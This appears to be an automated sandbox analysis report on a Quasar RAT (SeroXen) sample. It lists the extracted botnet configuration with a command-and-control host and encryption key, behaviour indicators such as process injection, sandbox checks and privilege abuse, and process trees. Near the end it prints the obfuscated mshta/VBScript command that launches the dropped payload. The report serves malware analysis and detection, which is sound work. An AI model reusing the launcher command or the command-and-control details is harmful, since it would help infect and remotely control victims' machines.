quasar | e3b738d063a721f7fbc486125d6ff34e238f1f1ff5561af2b6db80eec5ae5654

Analysis

max time kernel
1800s
max time network
1797s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
02-06-2024 15:11

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General

Target

DarkMoon_Gen_1-3/lib/uni.bat
Size

12.6MB
MD5

8e3d8ed6db7cb979d5d56c8b847cc965
SHA1

5d1ad752a988ce13da601448cdca5584610cffee
SHA256

9d0b440b61b239bc3406d67bf7ae8baf1ceef65923e8558ce3a3c1a3c4a5e22a
SHA512

d7a96420b1e61c4bc7db6c533704771e329239629201dbf34ac8a95a931da92c6e1d7ddb694a491656246b0eb491e96d194b7abccf54ef757c1aea92a9b96a0e
SSDEEP

49152:Hq8mcjsXbvlusR48pNIN/I/EiFTPbYWLP17DFNkKuri3NSbkpXYyr7arOR150kFB:o

Score

10^/10

quasar v2.2.6 | seroxen spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.6 | SeroXen

seroooooxeen.chickenkiller.com:5059

Mutex

f953c0af-702a-46b5-ad07-d900b11c5cd9

Attributes

encryption_key
458790DC6E62EEB3043B4566BF95CDAF711F1EC0
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral3/memory/3944-60-0x0000027B18000000-0x0000027B187CA000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 216 created 3064 216 WerFault.exe dllhost.exe

description	pid	process	target process
PID 216 created 3064	216	WerFault.exe	dllhost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

uni.bat.exe$sxr-powershell.exesvchost.exe

description	pid	process	target process
PID 2232 created 616	2232	uni.bat.exe	winlogon.exe
PID 3944 created 616	3944	$sxr-powershell.exe	winlogon.exe
PID 3944 created 616	3944	$sxr-powershell.exe	winlogon.exe
PID 2232 created 616	2232	uni.bat.exe	winlogon.exe
PID 3944 created 616	3944	$sxr-powershell.exe	winlogon.exe
PID 3944 created 616	3944	$sxr-powershell.exe	winlogon.exe
PID 3944 created 616	3944	$sxr-powershell.exe	winlogon.exe
PID 2800 created 3064	2800	svchost.exe	dllhost.exe
PID 3944 created 616	3944	$sxr-powershell.exe	winlogon.exe
PID 3944 created 616	3944	$sxr-powershell.exe	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-mshta.exeuni.bat.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	uni.bat.exe

Executes dropped EXE 5 IoCs

Processes:

uni.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-powershell.exe

pid process

2232 uni.bat.exe
5640 $sxr-mshta.exe
5736 $sxr-cmd.exe
3944 $sxr-powershell.exe
1000 $sxr-powershell.exe

Drops file in System32 directory 16 IoCs

Processes:

svchost.exeOfficeClickToRun.exesvchost.exeDllHost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk	DllHost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 18 IoCs

Processes:

uni.bat.exe$sxr-powershell.exe

description	pid	process	target process
PID 2232 set thread context of 5012	2232	uni.bat.exe	dllhost.exe
PID 2232 set thread context of 3132	2232	uni.bat.exe	dllhost.exe
PID 3944 set thread context of 3024	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 736	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 1532	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 5616	3944	$sxr-powershell.exe	dllhost.exe
PID 2232 set thread context of 1400	2232	uni.bat.exe	dllhost.exe
PID 2232 set thread context of 3216	2232	uni.bat.exe	dllhost.exe
PID 3944 set thread context of 5016	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 4428	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 2028	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 3692	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 2328	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 3064	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 3408	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 3560	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 216	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 set thread context of 4556	3944	$sxr-powershell.exe	dllhost.exe

Drops file in Windows directory 8 IoCs

Processes:

uni.bat.exeWerFault.exesvchost.exe

description	ioc	process
File created	C:\Windows\$sxr-powershell.exe	uni.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	uni.bat.exe
File created	C:\Windows\$sxr-mshta.exe	uni.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	uni.bat.exe
File created	C:\Windows\$sxr-cmd.exe	uni.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	uni.bat.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2608 3064 WerFault.exe dllhost.exe

pid	pid_target	process	target process
2608	3064	WerFault.exe	dllhost.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exesvchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1192 taskkill.exe

pid	process
1192	taskkill.exe

Modifies data under HKEY_USERS 17 IoCs

Processes:

OfficeClickToRun.exesvchost.exe

description	ioc	process
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 02 Jun 2024 15:18:22 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717341501"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={5F0B4E25-C197-477A-B271-FB7E2F1690C0}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe

Modifies registry class 1 IoCs

Processes:

$sxr-mshta.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3300 PING.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

pid	process
3300	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

uni.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe

pid	process
2232	uni.bat.exe
2232	uni.bat.exe
2232	uni.bat.exe
5012	dllhost.exe
5012	dllhost.exe
3132	dllhost.exe
3132	dllhost.exe
3132	dllhost.exe
3132	dllhost.exe
5012	dllhost.exe
5012	dllhost.exe
2232	uni.bat.exe
2232	uni.bat.exe
3944	$sxr-powershell.exe
3944	$sxr-powershell.exe
3944	$sxr-powershell.exe
3944	$sxr-powershell.exe
736	dllhost.exe
736	dllhost.exe
736	dllhost.exe
736	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3944	$sxr-powershell.exe
3944	$sxr-powershell.exe
1000	$sxr-powershell.exe
1000	$sxr-powershell.exe
3944	$sxr-powershell.exe
1532	dllhost.exe
1532	dllhost.exe
5616	dllhost.exe
5616	dllhost.exe
5616	dllhost.exe
5616	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
5616	dllhost.exe
5616	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
5616	dllhost.exe
5616	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1000	$sxr-powershell.exe
1000	$sxr-powershell.exe
5616	dllhost.exe
1532	dllhost.exe
5616	dllhost.exe
1532	dllhost.exe
5616	dllhost.exe
5616	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
5616	dllhost.exe
5616	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
5616	dllhost.exe
5616	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

uni.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	2232	uni.bat.exe
Token: SeDebugPrivilege	2232	uni.bat.exe
Token: SeDebugPrivilege	5012	dllhost.exe
Token: SeDebugPrivilege	3132	dllhost.exe
Token: SeDebugPrivilege	3944	$sxr-powershell.exe
Token: SeDebugPrivilege	3944	$sxr-powershell.exe
Token: SeDebugPrivilege	736	dllhost.exe
Token: SeDebugPrivilege	3024	dllhost.exe
Token: SeDebugPrivilege	1000	$sxr-powershell.exe
Token: SeDebugPrivilege	3944	$sxr-powershell.exe
Token: SeDebugPrivilege	1532	dllhost.exe
Token: SeDebugPrivilege	5616	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2360	svchost.exe
Token: SeIncreaseQuotaPrivilege	2360	svchost.exe
Token: SeSecurityPrivilege	2360	svchost.exe
Token: SeTakeOwnershipPrivilege	2360	svchost.exe
Token: SeLoadDriverPrivilege	2360	svchost.exe
Token: SeSystemtimePrivilege	2360	svchost.exe
Token: SeBackupPrivilege	2360	svchost.exe
Token: SeRestorePrivilege	2360	svchost.exe
Token: SeShutdownPrivilege	2360	svchost.exe
Token: SeSystemEnvironmentPrivilege	2360	svchost.exe
Token: SeUndockPrivilege	2360	svchost.exe
Token: SeManageVolumePrivilege	2360	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2360	svchost.exe
Token: SeIncreaseQuotaPrivilege	2360	svchost.exe
Token: SeSecurityPrivilege	2360	svchost.exe
Token: SeTakeOwnershipPrivilege	2360	svchost.exe
Token: SeLoadDriverPrivilege	2360	svchost.exe
Token: SeSystemtimePrivilege	2360	svchost.exe
Token: SeBackupPrivilege	2360	svchost.exe
Token: SeRestorePrivilege	2360	svchost.exe
Token: SeShutdownPrivilege	2360	svchost.exe
Token: SeSystemEnvironmentPrivilege	2360	svchost.exe
Token: SeUndockPrivilege	2360	svchost.exe
Token: SeManageVolumePrivilege	2360	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2360	svchost.exe
Token: SeIncreaseQuotaPrivilege	2360	svchost.exe
Token: SeSecurityPrivilege	2360	svchost.exe
Token: SeTakeOwnershipPrivilege	2360	svchost.exe
Token: SeLoadDriverPrivilege	2360	svchost.exe
Token: SeSystemtimePrivilege	2360	svchost.exe
Token: SeBackupPrivilege	2360	svchost.exe
Token: SeRestorePrivilege	2360	svchost.exe
Token: SeShutdownPrivilege	2360	svchost.exe
Token: SeSystemEnvironmentPrivilege	2360	svchost.exe
Token: SeUndockPrivilege	2360	svchost.exe
Token: SeManageVolumePrivilege	2360	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2360	svchost.exe
Token: SeIncreaseQuotaPrivilege	2360	svchost.exe
Token: SeSecurityPrivilege	2360	svchost.exe
Token: SeTakeOwnershipPrivilege	2360	svchost.exe
Token: SeLoadDriverPrivilege	2360	svchost.exe
Token: SeSystemtimePrivilege	2360	svchost.exe
Token: SeBackupPrivilege	2360	svchost.exe
Token: SeRestorePrivilege	2360	svchost.exe
Token: SeShutdownPrivilege	2360	svchost.exe
Token: SeSystemEnvironmentPrivilege	2360	svchost.exe
Token: SeUndockPrivilege	2360	svchost.exe
Token: SeManageVolumePrivilege	2360	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2360	svchost.exe
Token: SeIncreaseQuotaPrivilege	2360	svchost.exe
Token: SeSecurityPrivilege	2360	svchost.exe
Token: SeTakeOwnershipPrivilege	2360	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

3944 $sxr-powershell.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3420 Explorer.EXE

pid	process
3944	$sxr-powershell.exe

pid	process
3420	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exeuni.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exedllhost.exe

description	pid	process	target process
PID 2224 wrote to memory of 2232	2224	cmd.exe	uni.bat.exe
PID 2224 wrote to memory of 2232	2224	cmd.exe	uni.bat.exe
PID 2232 wrote to memory of 5012	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 5012	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 5012	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 5012	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 5012	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 5012	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 5012	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 3132	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 3132	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 3132	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 3132	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 3132	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 3132	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 3132	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 3132	2232	uni.bat.exe	dllhost.exe
PID 2232 wrote to memory of 3132	2232	uni.bat.exe	dllhost.exe
PID 5640 wrote to memory of 5736	5640	$sxr-mshta.exe	$sxr-cmd.exe
PID 5640 wrote to memory of 5736	5640	$sxr-mshta.exe	$sxr-cmd.exe
PID 5736 wrote to memory of 3944	5736	$sxr-cmd.exe	$sxr-powershell.exe
PID 5736 wrote to memory of 3944	5736	$sxr-cmd.exe	$sxr-powershell.exe
PID 3944 wrote to memory of 3024	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 3024	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 3024	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 3024	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 3024	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 3024	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 3024	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 736	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 736	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 736	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 736	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 736	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 736	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 736	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 736	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 736	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 1000	3944	$sxr-powershell.exe	$sxr-powershell.exe
PID 3944 wrote to memory of 1000	3944	$sxr-powershell.exe	$sxr-powershell.exe
PID 3944 wrote to memory of 1532	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 1532	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 1532	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 1532	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 1532	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 1532	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 1532	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 1532	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 1532	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 5616	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 5616	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 5616	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 5616	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 5616	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 5616	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 5616	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 5616	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 5616	3944	$sxr-powershell.exe	dllhost.exe
PID 3944 wrote to memory of 5616	3944	$sxr-powershell.exe	dllhost.exe
PID 1532 wrote to memory of 616	1532	dllhost.exe	winlogon.exe
PID 1532 wrote to memory of 664	1532	dllhost.exe	lsass.exe
PID 1532 wrote to memory of 948	1532	dllhost.exe	svchost.exe
PID 1532 wrote to memory of 64	1532	dllhost.exe	dwm.exe
PID 1532 wrote to memory of 468	1532	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

5508 attrib.exe

pid	process
5508	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:64

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{3bb31829-b5e7-45b1-b004-6a385dddb737}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5012

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{7fbd8e76-5122-429c-91ee-502e0a5ab5dd}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3024

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{b172da56-7aab-44eb-9df9-e4f9fcd7807e}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1532

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{c9a543b7-bbb6-479d-b2e0-e46f2d426cdf}
2⤵
PID:1400

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{9936ce5a-74b8-4556-8944-4202c1feaacc}
2⤵
PID:5016

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{ce7e801e-d265-450d-8c93-fa790512f323}
2⤵
PID:2028

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{e2ac9018-04f5-4e12-bc23-dfa00ba0ac0c}
2⤵
PID:2328

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{90147ab4-60e6-4ddc-b296-ca5f4b7059b9}
2⤵
PID:3408

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{a36ddacf-dbd6-457c-b79b-e8498dfcad15}
2⤵
PID:216

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1056

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2724

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5640

C:\Windows\$sxr-cmd.exe
"C:\Windows\$sxr-cmd.exe" /c %$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%
3⤵
